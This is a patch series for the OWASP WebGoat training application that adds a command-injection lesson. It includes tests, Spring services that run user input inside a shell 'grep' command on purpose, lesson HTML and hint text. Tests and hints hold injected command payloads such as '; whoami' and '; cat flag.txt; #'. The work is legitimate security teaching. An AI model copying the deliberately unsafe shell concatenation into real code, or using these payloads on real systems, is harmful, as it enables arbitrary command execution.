shouldBuildCommandBasedOnHost() { + String command = task.buildCommand("localhost", ""); + + assertThat(command).contains("localhost"); + } + + @Test + void shouldFailWhenObservedCommandMissing() { + AttackResult result = task.runCommand("localhost", "", ""); + + assertThat(result.assignmentSolved()).isFalse(); + assertThat(result.getFeedback()).isEqualTo("commandinjection.task1.failure.empty"); + } + + @Test + void shouldSucceedWhenObservedMatchesActualCommand() { + String base = task.buildCommand("localhost", ""); + + AttackResult result = task.runCommand("localhost", "", base); + + assertThat(result.assignmentSolved()).isTrue(); + assertThat(result.getFeedback()).isEqualTo("commandinjection.task1.success"); + } +} diff --git a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2Test.java b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2Test.java new file mode 100644 index 00000000000..60637b5768f --- /dev/null +++ b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2Test.java @@ -0,0 +1,47 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static org.assertj.core.api.Assertions.assertThat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.container.assignments.AttackResult; + +class CommandInjectionTask2Test { + + private CommandInjectionTask2 task; + + @BeforeEach + void setUp() { + task = new CommandInjectionTask2(); + } + + @Test + void shouldBuildCommandWithPayload() { + String command = task.buildCommand("uname -a", "; whoami"); + + assertThat(command).contains("whoami"); + } + + @Test + void shouldFailWhenTokenMissing() { + AttackResult result = task.run("uname -a", "; whoami", ""); + + assertThat(result.assignmentSolved()).isFalse(); + assertThat(result.getFeedback()).isEqualTo("commandinjection.task2.failure.blank"); + } + + @Test + void shouldSucceedWhenTokenMatches() { + String output = task.simulateExecution(task.buildCommand("uname -a", "")); + String token = output.substring(output.indexOf('=') + 1).trim(); + + AttackResult result = task.run("uname -a", "", token); + + assertThat(result.assignmentSolved()).isTrue(); + assertThat(result.getFeedback()).isEqualTo("commandinjection.task2.success"); + } +} diff --git a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java new file mode 100644 index 00000000000..aae5dc0351f --- /dev/null +++ b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java @@ -0,0 +1,55 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static org.assertj.core.api.Assertions.assertThat; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.users.WebGoatUser; + +class CommandInjectionTask3Test { + + private CommandInjectionTask3 task; + private WebGoatUser user; + + @BeforeEach + void setUp() { + task = new CommandInjectionTask3("./target/webgoat-test"); + user = new WebGoatUser("alice", "password"); + task.initialize(user); + } + + @Test + void shouldFailWhenTitleMissing() { + AttackResult result = task.search(user, ""); + assertThat(result.assignmentSolved()).isFalse(); + assertThat(result.getFeedback()).isEqualTo("commandinjection.task3.failure.payload"); + } + + @Test + void shouldFailWhenFlagMissing() { + AttackResult result = task.submitFlag(user, ""); + assertThat(result.assignmentSolved()).isFalse(); + assertThat(result.getFeedback()).isEqualTo("commandinjection.task3.failure.blank"); + } + + @Test + void shouldSucceedWhenFlagMatches() { + AttackResult firstRun = + task.search(user, "luna; cat command-injection/alice/flag.txt"); + Matcher matcher = Pattern.compile("CI_FLAG\\{[A-Za-z0-9]+\\}").matcher(firstRun.getOutput()); + assertThat(matcher.find()).isTrue(); + String flag = matcher.group(); + + AttackResult result = task.submitFlag(user, flag); + + assertThat(result.assignmentSolved()).isTrue(); + assertThat(result.getFeedback()).isEqualTo("commandinjection.task3.success"); + } +} From e62637b75857bc011251ead4e9d7a4df054a128e Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 15 Oct 2025 18:24:30 +0200 Subject: [PATCH 2/7] WIP --- .../CommandInjectionTask3Flag.java | 61 +++++ .../CommandInjectionTask3Search.java | 45 ++++ ...java => CommandInjectionTask3Service.java} | 248 +++++++----------- .../html/CommandInjection.html | 152 ++++++++++- .../i18n/WebGoatLabels.properties | 2 +- .../CommandInjectionTask3Test.java | 31 ++- 6 files changed, 370 insertions(+), 169 deletions(-) create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Flag.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Search.java rename src/main/java/org/owasp/webgoat/lessons/commandinjection/{CommandInjectionTask3.java => CommandInjectionTask3Service.java} (62%) diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Flag.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Flag.java new file mode 100644 index 00000000000..0a7533023be --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Flag.java @@ -0,0 +1,61 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.failed; +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.success; + +import org.owasp.webgoat.container.CurrentUser; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.lessons.Initializable; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "commandinjection.task3.hint1", + "commandinjection.task3.hint2", + "commandinjection.task3.hint3", + "commandinjection.task3.hint4" +}) +public class CommandInjectionTask3Flag implements AssignmentEndpoint, Initializable { + + private final CommandInjectionTask3Service service; + + public CommandInjectionTask3Flag(CommandInjectionTask3Service service) { + this.service = service; + } + + @PostMapping( + value = "/CommandInjection/task3/flag", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + produces = MediaType.APPLICATION_JSON_VALUE) + public AttackResult submitFlag( + @CurrentUser WebGoatUser user, @RequestParam("flag") String submittedFlag) { + + service.ensureInitialized(user); + + if (submittedFlag == null || submittedFlag.isBlank()) { + return failed(this).feedback("commandinjection.task3.failure.blank").build(); + } + + if (service.validateFlag(user, submittedFlag)) { + return success(this).feedback("commandinjection.task3.success").build(); + } + + return failed(this).feedback("commandinjection.task3.failure.invalid").build(); + } + + @Override + public void initialize(WebGoatUser user) { + service.initialize(user); + } +} + diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Search.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Search.java new file mode 100644 index 00000000000..8fd57d0be76 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Search.java @@ -0,0 +1,45 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import org.owasp.webgoat.container.CurrentUser; +import org.owasp.webgoat.container.lessons.Initializable; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.server.ResponseStatusException; + +@RestController +public class CommandInjectionTask3Search implements Initializable { + + private final CommandInjectionTask3Service service; + + public CommandInjectionTask3Search(CommandInjectionTask3Service service) { + this.service = service; + } + + @PostMapping( + value = "/CommandInjection/task3/search", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + produces = MediaType.APPLICATION_JSON_VALUE) + public CommandInjectionTask3Service.SearchResponse search( + @CurrentUser WebGoatUser user, @RequestParam("title") String title) { + + if (title == null || title.isBlank()) { + throw new ResponseStatusException( + HttpStatus.BAD_REQUEST, "commandinjection.task3.failure.payload"); + } + return service.search(user, title); + } + + @Override + public void initialize(WebGoatUser user) { + service.initialize(user); + } +} + diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Service.java similarity index 62% rename from src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3.java rename to src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Service.java index 86f0d7217b6..a64aefb1326 100644 --- a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3.java +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Service.java @@ -6,52 +6,35 @@ import static java.nio.charset.StandardCharsets.UTF_8; import static java.nio.file.StandardCopyOption.REPLACE_EXISTING; -import static org.owasp.webgoat.container.assignments.AttackResultBuilder.failed; -import static org.owasp.webgoat.container.assignments.AttackResultBuilder.informationMessage; -import static org.owasp.webgoat.container.assignments.AttackResultBuilder.success; import java.io.File; import java.io.IOException; import java.io.InputStream; -import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; -import java.nio.file.StandardCopyOption; +import java.util.Base64; +import java.util.List; import java.util.Locale; import java.util.Map; import java.util.UUID; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.TimeUnit; -import java.util.Base64; -import java.util.List; import java.util.function.Function; import java.util.regex.Matcher; import java.util.regex.Pattern; import java.util.stream.Collectors; -import org.apache.commons.lang3.RandomStringUtils; -import org.owasp.webgoat.container.CurrentUser; -import org.owasp.webgoat.container.assignments.AssignmentEndpoint; -import org.owasp.webgoat.container.assignments.AssignmentHints; -import org.owasp.webgoat.container.assignments.AttackResult; +import lombok.SneakyThrows; import org.owasp.webgoat.container.lessons.Initializable; import org.owasp.webgoat.container.users.WebGoatUser; import org.springframework.beans.factory.annotation.Value; import org.springframework.core.io.ClassPathResource; -import org.springframework.http.MediaType; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestParam; -import org.springframework.web.bind.annotation.RestController; -import org.springframework.web.util.HtmlUtils; - -/** Task 3: escalate to reading secrets by issuing real commands. */ -@RestController -@AssignmentHints({ - "commandinjection.task3.hint1", - "commandinjection.task3.hint2", - "commandinjection.task3.hint3", - "commandinjection.task3.hint4" -}) -public class CommandInjectionTask3 implements AssignmentEndpoint, Initializable { +import org.springframework.stereotype.Service; + +@Service +public class CommandInjectionTask3Service implements Initializable { + + private static final Pattern GREP_RESULT_PATTERN = + Pattern.compile("images/([a-z0-9_-]+)\\.txt:.*", Pattern.CASE_INSENSITIVE); private final String webGoatHomeDirectory; private final Map userFlags = new ConcurrentHashMap<>(); @@ -86,62 +69,92 @@ public class CommandInjectionTask3 implements AssignmentEndpoint, Initializable CAT_LIBRARY.stream() .collect(Collectors.toUnmodifiableMap(CatDefinition::slug, Function.identity())); - private static final Pattern GREP_RESULT_PATTERN = - Pattern.compile("images/([a-z0-9_-]+)\\.txt:.*", Pattern.CASE_INSENSITIVE); - - public CommandInjectionTask3(@Value("${webgoat.user.directory}") String webGoatHomeDirectory) { + public CommandInjectionTask3Service( + @Value("${webgoat.user.directory}") String webGoatHomeDirectory) { this.webGoatHomeDirectory = webGoatHomeDirectory; } - @PostMapping( - value = "/CommandInjection/task3/search", - consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, - produces = MediaType.APPLICATION_JSON_VALUE) - public AttackResult search(@CurrentUser WebGoatUser user, @RequestParam("title") String title) { - if (title == null || title.isBlank()) { - return failed(this).feedback("commandinjection.task3.failure.payload").build(); - } - + public SearchResponse search(WebGoatUser user, String title) { + ensureInitialized(user); String command = buildCommand(title); CommandResult result = executeCommand(user, command); - String output = renderOutput(result); - return informationMessage(this).output(output).build(); + String console = buildConsole(result); + List cats = + extractMatches(result.output()).stream().map(CatDefinition::toView).toList(); + return new SearchResponse( + command, console, result.output(), result.timedOut(), result.executionError(), cats); } - @PostMapping( - value = "/CommandInjection/task3/flag", - consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, - produces = MediaType.APPLICATION_JSON_VALUE) - public AttackResult submitFlag( - @CurrentUser WebGoatUser user, @RequestParam("flag") String submittedFlag) { - if (submittedFlag == null || submittedFlag.isBlank()) { - return failed(this).feedback("commandinjection.task3.failure.blank").build(); - } - + public boolean validateFlag(WebGoatUser user, String submittedFlag) { + ensureInitialized(user); String expectedFlag = userFlags.get(user.getUsername()); + return expectedFlag != null && expectedFlag.equals(submittedFlag.trim()); + } - if (expectedFlag.equals(submittedFlag.trim())) { - return success(this).feedback("commandinjection.task3.success").build(); - } + public void ensureInitialized(WebGoatUser user) { + userFlags.computeIfAbsent(user.getUsername(), name -> createFlagForUser(user)); + } - return failed(this).feedback("commandinjection.task3.failure.invalid").build(); + @Override + public void initialize(WebGoatUser user) { + userFlags.remove(user.getUsername()); + userDirectories.remove(user.getUsername()); + ensureInitialized(user); } + private String buildConsole(CommandResult result) { + StringBuilder console = new StringBuilder(); + console.append("Command: ").append(result.command()).append("\n"); + console.append(result.output()); + if (result.timedOut()) { + console.append("\n[Process terminated after timeout]\n"); + } + if (result.executionError() != null) { + console.append("\n[Execution error] ").append(result.executionError()); + } + return console.toString(); + } + + @SneakyThrows private String createFlagForUser(WebGoatUser user) { - String flagValue = "#{%s}".formatted(UUID.randomUUID().toString()); + String flagValue = UUID.randomUUID().toString(); File userDir = new File(webGoatHomeDirectory, "command-injection/" + user.getUsername()); userDir.mkdirs(); prepareGallery(userDir.toPath()); File flagFile = new File(userDir, "flag.txt"); - try { - Files.writeString(flagFile.toPath(), flagValue, UTF_8); - userDirectories.put(user.getUsername(), userDir); - } catch (IOException e) { - throw new IllegalStateException("Unable to create flag file", e); - } + + Files.writeString(flagFile.toPath(), flagValue, UTF_8); + userDirectories.put(user.getUsername(), userDir); return flagValue; } + private void prepareGallery(Path userDir) { + Path imagesDir = userDir.resolve("images"); + if (!Files.exists(imagesDir)) { + imagesDir.toFile().mkdirs(); + } + + for (CatDefinition cat : CAT_LIBRARY) { + Path imageTarget = imagesDir.resolve(cat.fileName()); + if (!Files.exists(imageTarget)) { + try (InputStream in = new ClassPathResource(cat.resourcePath()).getInputStream()) { + Files.copy(in, imageTarget, REPLACE_EXISTING); + } catch (IOException e) { + throw new IllegalStateException("Unable to copy cat image", e); + } + } + + Path metaFile = imagesDir.resolve(cat.slug() + ".txt"); + if (!Files.exists(metaFile)) { + try { + Files.writeString(metaFile, cat.displayName(), UTF_8); + } catch (IOException e) { + throw new IllegalStateException("Unable to create cat metadata", e); + } + } + } + } + private String buildCommand(String title) { String trimmedTitle = title == null ? "" : title.trim(); return "grep " + trimmedTitle + " images/*"; @@ -183,65 +196,6 @@ private CommandResult executeCommand(WebGoatUser user, String command) { return new CommandResult(command, processOutput, timedOut, executionError); } - @Override - public void initialize(WebGoatUser user) { - userFlags.remove(user.getUsername()); - userDirectories.remove(user.getUsername()); - createFlagForUser(user); - } - - private void prepareGallery(Path userDir) { - Path imagesDir = userDir.resolve("images"); - if (!Files.exists(imagesDir)) { - imagesDir.toFile().mkdirs(); - } - - for (CatDefinition cat : CAT_LIBRARY) { - Path imageTarget = imagesDir.resolve(cat.fileName()); - if (!Files.exists(imageTarget)) { - try (InputStream in = new ClassPathResource(cat.resourcePath()).getInputStream()) { - Files.copy(in, imageTarget, REPLACE_EXISTING); - } catch (IOException e) { - throw new IllegalStateException("Unable to copy cat image", e); - } - } - - Path metaFile = imagesDir.resolve(cat.slug() + ".txt"); - if (!Files.exists(metaFile)) { - try { - Files.writeString(metaFile, cat.displayName(), UTF_8); - } catch (IOException e) { - throw new IllegalStateException("Unable to create cat metadata", e); - } - } - } - } - - private String renderOutput(CommandResult result) { - StringBuilder rendered = new StringBuilder(); - StringBuilder rawOutput = new StringBuilder(); - rawOutput.append("Command: ").append(result.command()).append("\n"); - rawOutput.append(result.output()); - if (result.timedOut()) { - rawOutput.append("\n[Process terminated after timeout]\n"); - } - if (result.executionError() != null) { - rawOutput.append("\n[Execution error] ").append(result.executionError()); - } - - rendered - .append("
")
-        .append(HtmlUtils.htmlEscape(rawOutput.toString()))
-        .append("
"); - - List matches = extractMatches(result.output()); - if (!matches.isEmpty()) { - rendered.append(renderGallery(matches)); - } - - return rendered.toString(); - } - private List extractMatches(String output) { return output .lines() @@ -254,37 +208,17 @@ private List extractMatches(String output) { .collect(Collectors.toList()); } - private String renderGallery(List matches) { - StringBuilder gallery = new StringBuilder(); - gallery.append("
"); - gallery.append("

Matching Cats

"); - gallery.append("
"); - for (CatDefinition cat : matches) { - gallery.append("
"); - gallery - .append("\"")"); - gallery.append("
"); - gallery - .append("") - .append(HtmlUtils.htmlEscape(cat.displayName())) - .append(""); - if (!cat.description().isBlank()) { - gallery.append("
").append(HtmlUtils.htmlEscape(cat.description())); - } - gallery.append("
"); - gallery.append("
"); - } - gallery.append("
"); - return gallery.toString(); - } - private record CommandResult( String command, String output, boolean timedOut, String executionError) {} + public record SearchResponse( + String command, + String console, + String stdout, + boolean timedOut, + String executionError, + List cats) {} + private static class CatDefinition { private final String slug; private final String displayName; @@ -309,10 +243,6 @@ String displayName() { return displayName; } - String description() { - return description; - } - String resourcePath() { return resourcePath; } @@ -321,6 +251,10 @@ String fileName() { return fileName; } + String description() { + return description; + } + String dataUri() { String current = dataUri; if (current != null) { @@ -338,5 +272,11 @@ String dataUri() { return dataUri; } } + + CatView toView() { + return new CatView(displayName, description, dataUri()); + } } + + public record CatView(String name, String description, String dataUri) {} } diff --git a/src/main/resources/lessons/commandinjection/html/CommandInjection.html b/src/main/resources/lessons/commandinjection/html/CommandInjection.html index a94c32fc245..85ee6737ae7 100644 --- a/src/main/resources/lessons/commandinjection/html/CommandInjection.html +++ b/src/main/resources/lessons/commandinjection/html/CommandInjection.html @@ -41,7 +41,12 @@ margin-top: 1rem; } - .attack-output { + .search-feedback { + display: none; + margin-top: 0.75rem; + } + + .search-output { margin-top: 1.25rem; } @@ -135,7 +140,7 @@ th:replace="~{doc:lessons/commandinjection/documentation/CommandInjection_Task3.adoc}">
-
+
@@ -149,7 +154,8 @@
-
+
+
Submit flag
+
+ diff --git a/src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties b/src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties index e5e6406cb55..bbbd31070d4 100644 --- a/src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties +++ b/src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties @@ -13,7 +13,7 @@ commandinjection.task2.success=Great! You chained commands and leaked the token. commandinjection.task2.failure.blank=Provide the build token from the command output. commandinjection.task2.failure.mismatch=That token does not match the leaked value. Try again. commandinjection.task3.hint1=Start with a normal search (e.g., Luna) to see how grep $title images/* maps to the cat metadata files. -commandinjection.task3.hint2=The flag lives in command-injection//flag.txt. You need cat/type to read it after your search. +commandinjection.task3.hint2=The flag lives in command-injection//flag.txt. When the working directory is set up for you, that file is reachable as plain flag.txt, so use cat/type after your search to dump it. commandinjection.task3.hint3=Keep the grep happy by injecting the images/* glob before your separator; otherwise grep waits on STDIN and times out. commandinjection.task3.hint4=After cat prints the flag, comment out the template tail (e.g., ; #) so the extra images/* from the wrapper does not run. Submit the token. commandinjection.task3.success=Flag captured! You now have proof the shell executes arbitrary commands. diff --git a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java index aae5dc0351f..8cffeb2a0f1 100644 --- a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java +++ b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java @@ -5,6 +5,7 @@ package org.owasp.webgoat.lessons.commandinjection; import static org.assertj.core.api.Assertions.assertThat; +import static org.assertj.core.api.Assertions.assertThatThrownBy; import java.util.regex.Matcher; import java.util.regex.Pattern; @@ -12,42 +13,50 @@ import org.junit.jupiter.api.Test; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.web.server.ResponseStatusException; class CommandInjectionTask3Test { - private CommandInjectionTask3 task; + private CommandInjectionTask3Service service; + private CommandInjectionTask3Search searchController; + private CommandInjectionTask3Flag flagController; private WebGoatUser user; @BeforeEach void setUp() { - task = new CommandInjectionTask3("./target/webgoat-test"); + service = new CommandInjectionTask3Service("./target/webgoat-test"); + searchController = new CommandInjectionTask3Search(service); + flagController = new CommandInjectionTask3Flag(service); user = new WebGoatUser("alice", "password"); - task.initialize(user); + service.initialize(user); } @Test void shouldFailWhenTitleMissing() { - AttackResult result = task.search(user, ""); - assertThat(result.assignmentSolved()).isFalse(); - assertThat(result.getFeedback()).isEqualTo("commandinjection.task3.failure.payload"); + assertThatThrownBy(() -> searchController.search(user, "")) + .isInstanceOf(ResponseStatusException.class) + .hasMessageContaining("commandinjection.task3.failure.payload"); } @Test void shouldFailWhenFlagMissing() { - AttackResult result = task.submitFlag(user, ""); + AttackResult result = flagController.submitFlag(user, ""); assertThat(result.assignmentSolved()).isFalse(); assertThat(result.getFeedback()).isEqualTo("commandinjection.task3.failure.blank"); } @Test void shouldSucceedWhenFlagMatches() { - AttackResult firstRun = - task.search(user, "luna; cat command-injection/alice/flag.txt"); - Matcher matcher = Pattern.compile("CI_FLAG\\{[A-Za-z0-9]+\\}").matcher(firstRun.getOutput()); + CommandInjectionTask3Service.SearchResponse firstRun = + searchController.search(user, "luna images/*; cat flag.txt; #"); + Matcher matcher = + Pattern.compile( + "[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}") + .matcher(firstRun.stdout()); assertThat(matcher.find()).isTrue(); String flag = matcher.group(); - AttackResult result = task.submitFlag(user, flag); + AttackResult result = flagController.submitFlag(user, flag); assertThat(result.assignmentSolved()).isTrue(); assertThat(result.getFeedback()).isEqualTo("commandinjection.task3.success"); From f4e9730e1bf449f103666f7289d36058279b1200 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 15 Oct 2025 18:31:48 +0200 Subject: [PATCH 3/7] WIP --- .../CommandInjectionTask3Service.java | 61 +++++-------------- 1 file changed, 14 insertions(+), 47 deletions(-) diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Service.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Service.java index a64aefb1326..94860e6712b 100644 --- a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Service.java +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Service.java @@ -40,6 +40,8 @@ public class CommandInjectionTask3Service implements Initializable { private final Map userFlags = new ConcurrentHashMap<>(); private final Map userDirectories = new ConcurrentHashMap<>(); + private static final Map DATA_URI_CACHE = new ConcurrentHashMap<>(); + private static final List CAT_LIBRARY = List.of( new CatDefinition( @@ -219,62 +221,27 @@ public record SearchResponse( String executionError, List cats) {} - private static class CatDefinition { - private final String slug; - private final String displayName; - private final String description; - private final String resourcePath; - private final String fileName; - private volatile String dataUri; - - CatDefinition(String slug, String displayName, String description, String resourcePath) { - this.slug = slug; - this.displayName = displayName; - this.description = description; - this.resourcePath = resourcePath; - this.fileName = slug + ".jpg"; - } - - String slug() { - return slug; - } - - String displayName() { - return displayName; - } - - String resourcePath() { - return resourcePath; - } + private record CatDefinition(String slug, String displayName, String description, String resourcePath) { String fileName() { - return fileName; + return slug + ".jpg"; } - String description() { - return description; + CatView toView() { + return new CatView(displayName, description, dataUri()); } String dataUri() { - String current = dataUri; - if (current != null) { - return current; - } - synchronized (this) { - if (dataUri == null) { - try (InputStream is = new ClassPathResource(resourcePath).getInputStream()) { - byte[] bytes = is.readAllBytes(); - dataUri = "data:image/jpeg;base64," + Base64.getEncoder().encodeToString(bytes); - } catch (IOException e) { - dataUri = ""; - } - } - return dataUri; - } + return DATA_URI_CACHE.computeIfAbsent(resourcePath, CommandInjectionTask3Service::loadDataUri); } + } - CatView toView() { - return new CatView(displayName, description, dataUri()); + private static String loadDataUri(String resourcePath) { + try (InputStream is = new ClassPathResource(resourcePath).getInputStream()) { + byte[] bytes = is.readAllBytes(); + return "data:image/jpeg;base64," + Base64.getEncoder().encodeToString(bytes); + } catch (IOException e) { + return ""; } } From cd2b46d2aac4e83f234ae8ff2434f92e818b0d54 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Oct 2025 13:39:29 +0100 Subject: [PATCH 4/7] finish --- ...CommandInjectionLessonIntegrationTest.java | 213 ++++++++++++++++++ .../lessons/CommandInjectionLessonUITest.java | 65 ++++++ .../lessons/CommandInjectionLessonPage.java | 135 +++++++++++ .../CommandExecutionService.java | 65 ++++++ .../CommandInjectionCatService.java | 150 ++++++++++++ .../CommandInjectionTask2.java | 77 +++++-- .../CommandInjectionTask3Flag.java | 4 - .../CommandInjectionTask3Service.java | 189 +++------------- .../CommandInjectionTask4Key.java | 61 +++++ .../CommandInjectionTask4Search.java | 45 ++++ .../CommandInjectionTask4Service.java | 141 ++++++++++++ .../CommandInjectionTask5Evaluation.java | 62 +++++ .../CommandInjectionTask5Service.java | 92 ++++++++ .../CommandInjection_BestPractices.adoc | 14 ++ .../documentation/CommandInjection_Task2.adoc | 7 +- .../documentation/CommandInjection_Task3.adoc | 8 - .../documentation/CommandInjection_Task4.adoc | 12 + .../documentation/CommandInjection_Task5.adoc | 19 ++ .../html/CommandInjection.html | 196 +++++++++++----- .../i18n/WebGoatLabels.properties | 21 +- .../CommandInjectionTask2Test.java | 19 +- .../CommandInjectionTask3Test.java | 6 +- .../CommandInjectionTask4Test.java | 69 ++++++ .../CommandInjectionTask5ServiceTest.java | 39 ++++ 24 files changed, 1457 insertions(+), 252 deletions(-) create mode 100644 src/it/java/org/owasp/webgoat/integration/CommandInjectionLessonIntegrationTest.java create mode 100644 src/it/java/org/owasp/webgoat/playwright/webgoat/lessons/CommandInjectionLessonUITest.java create mode 100644 src/it/java/org/owasp/webgoat/playwright/webgoat/pages/lessons/CommandInjectionLessonPage.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandExecutionService.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionCatService.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Key.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Search.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Service.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5Evaluation.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5Service.java create mode 100644 src/main/resources/lessons/commandinjection/documentation/CommandInjection_BestPractices.adoc create mode 100644 src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task4.adoc create mode 100644 src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task5.adoc create mode 100644 src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask4Test.java create mode 100644 src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask5ServiceTest.java diff --git a/src/it/java/org/owasp/webgoat/integration/CommandInjectionLessonIntegrationTest.java b/src/it/java/org/owasp/webgoat/integration/CommandInjectionLessonIntegrationTest.java new file mode 100644 index 00000000000..fbc6328a41d --- /dev/null +++ b/src/it/java/org/owasp/webgoat/integration/CommandInjectionLessonIntegrationTest.java @@ -0,0 +1,213 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.integration; + +import static io.restassured.RestAssured.given; +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.MatcherAssert.assertThat; + +import io.restassured.path.json.JsonPath; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import org.junit.jupiter.api.Test; + +public class CommandInjectionLessonIntegrationTest extends IntegrationTest { + + private static final Pattern API_KEY_PATTERN = Pattern.compile("API_KEY=[^\\s]+"); + + @Test + void solveCommandInjectionLesson() { + startLesson("CommandInjection", true); + + acknowledgeSafetyGate(); + + solveTask1(); + String leakedToken = leakTask2Token(); + submitTask2Token(leakedToken); + String flag = captureTask3Flag(); + submitTask3Flag(flag); + String apiKey = captureTask4ApiKey(); + submitTask4Key(apiKey); + configureTask5Remediation(); + + checkResults("CommandInjection"); + } + + private void acknowledgeSafetyGate() { + assertThat( + given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("ack", "I understand commands will execute") + .post(webGoatUrlConfig.url("CommandInjection/safety")) + .then() + .statusCode(200) + .extract() + .path("lessonCompleted"), + is(true)); + } + + private void solveTask1() { + boolean isWindows = isWindowsHost(); + String expectedCommand = + (isWindows ? "cmd.exe /c ping -n 1 " : "/bin/sh -c ping -c 1 ") + "localhost"; + + assertThat( + given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("host", "localhost") + .formParam("custom", "") + 